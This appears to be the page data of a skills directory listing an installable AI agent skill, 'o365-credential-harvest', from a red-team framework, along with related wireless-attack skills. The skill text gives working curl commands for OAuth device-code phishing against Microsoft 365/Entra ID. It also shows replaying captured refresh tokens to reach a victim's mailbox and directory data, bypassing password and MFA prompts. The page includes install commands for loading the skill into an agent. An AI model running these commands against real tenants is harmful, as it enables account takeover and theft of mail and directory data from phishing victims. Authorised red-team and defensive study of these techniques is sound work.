[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HXE46Z2X7MCMDR38520KB":3,"skill-same:01M78HXE46Z2X7MCMDR38520KB":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":13,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M78HXE46Z2X7MCMDR38520KB","o365-credential-harvest",null,"Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: o365-credential-harvest\ndescription: >\n  Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and\n  captured tokens (TokenTactics-style), skipping the password + MFA prompts.\nmetadata:\n  subdomain: phishing\n  when_to_use: \"o365 phishing, entra id, oauth device code, token replay, tokentactics, microsoft 365 credential harvest, illicit consent\"\n  mitre_attack:\n    - T1566.002\n    - T1528\n    - T1550.001\n    - T1621\n  tags:\n    - phishing\n    - o365\n    - oauth\n    - token-replay\n---\n\n# O365 \u002F Entra Credential & Token Harvest\n\nTwo Microsoft-identity initial-access paths that avoid a fake password\npage: the **device-code** flow and **token replay**. Both are favored\nbecause the victim authenticates on the genuine Microsoft endpoint.\n\n## Device-code flow\n\nThe attacker requests a device code; the victim is social-engineered\nto enter it at the real `microsoft.com\u002Fdevicelogin`. After they\ncomplete sign-in (MFA included), the attacker polls and receives\naccess + refresh tokens.\n\n```bash\nTENANT=common\nCLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)\n# 1. request a device code\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Fdevicecode \\\n  -d \"client_id=$CLIENT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access\" | tee dc.json\n# -> user_code + verification_uri go into the lure (\"enter this code at ...\")\n# 2. poll for the token after the victim signs in\nDC=$(jq -r .device_code dc.json)\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC\"\n```\n\n## Token replay (TokenTactics pattern)\n\nA refresh token captured here (or via `evilginx2-proxy`) is exchanged\nfor access tokens against Graph, Outlook, SharePoint, Teams — each a\ndistinct resource scope — without re-auth.\n\n```bash\nRT=\u003Ccaptured-refresh-token>\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# use the returned access_token: Authorization: Bearer \u003Ctoken> against graph.microsoft.com\n```\n\n## Validate\n\nA token is interesting; a Graph call returning the victim's mailbox \u002F\ndirectory data is the finding:\n`curl -s -H \"Authorization: Bearer $AT\" https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme`.\n\n## Evidence\n\nTokens → `Credential` nodes (type `oauth-token`, with scope + expiry)\nlinked to the `User` node. Store ONLY under `evidence\u002Fphisher\u002F` + the\nknowledge graph.\n\n## RoE \u002F OPSEC\n\n- Device-code lures still require the `lure-deconfliction` handshake.\n- Refresh tokens are long-lived — record the expiry and treat them as\n  the most sensitive artifact in the engagement.\n- NEVER read more mailbox\u002FGraph data than the objective requires;\n  abide by `plan\u002Froe.json:data_handling`.\n","# O365 \u002F Entra Credential & Token Harvest\n\nTwo Microsoft-identity initial-access paths that avoid a fake password\npage: the **device-code** flow and **token replay**. Both are favored\nbecause the victim authenticates on the genuine Microsoft endpoint.\n\n## Device-code flow\n\nThe attacker requests a device code; the victim is social-engineered\nto enter it at the real `microsoft.com\u002Fdevicelogin`. After they\ncomplete sign-in (MFA included), the attacker polls and receives\naccess + refresh tokens.\n\n```bash\nTENANT=common\nCLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)\n# 1. request a device code\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Fdevicecode \\\n  -d \"client_id=$CLIENT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access\" | tee dc.json\n# -> user_code + verification_uri go into the lure (\"enter this code at ...\")\n# 2. poll for the token after the victim signs in\nDC=$(jq -r .device_code dc.json)\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC\"\n```\n\n## Token replay (TokenTactics pattern)\n\nA refresh token captured here (or via `evilginx2-proxy`) is exchanged\nfor access tokens against Graph, Outlook, SharePoint, Teams — each a\ndistinct resource scope — without re-auth.\n\n```bash\nRT=\u003Ccaptured-refresh-token>\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# use the returned access_token: Authorization: Bearer \u003Ctoken> against graph.microsoft.com\n```\n\n## Validate\n\nA token is interesting; a Graph call returning the victim's mailbox \u002F\ndirectory data is the finding:\n`curl -s -H \"Authorization: Bearer $AT\" https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme`.\n\n## Evidence\n\nTokens → `Credential` nodes (type `oauth-token`, with scope + expiry)\nlinked to the `User` node. Store ONLY under `evidence\u002Fphisher\u002F` + the\nknowledge graph.\n\n## RoE \u002F OPSEC\n\n- Device-code lures still require the `lure-deconfliction` handshake.\n- Refresh tokens are long-lived — record the expiry and treat them as\n  the most sensitive artifact in the engagement.\n- NEVER read more mailbox\u002FGraph data than the objective requires;\n  abide by `plan\u002Froe.json:data_handling`.\n",{"name":5,"metadata":23,"description":35},{"tags":24,"subdomain":25,"when_to_use":29,"mitre_attack":30},[25,26,27,28],"phishing","o365","oauth","token-replay","o365 phishing, entra id, oauth device code, token replay, tokentactics, microsoft 365 credential harvest, illicit consent",[31,32,33,34],"T1566.002","T1528","T1550.001","T1621","Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.\n","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill o365-credential-harvest",{"tool":48,"command":49},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill o365-credential-harvest",{"tool":51,"command":52},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill o365-credential-harvest","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest\u002FSKILL.md",true,[],[57,64,71,78,85,92],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]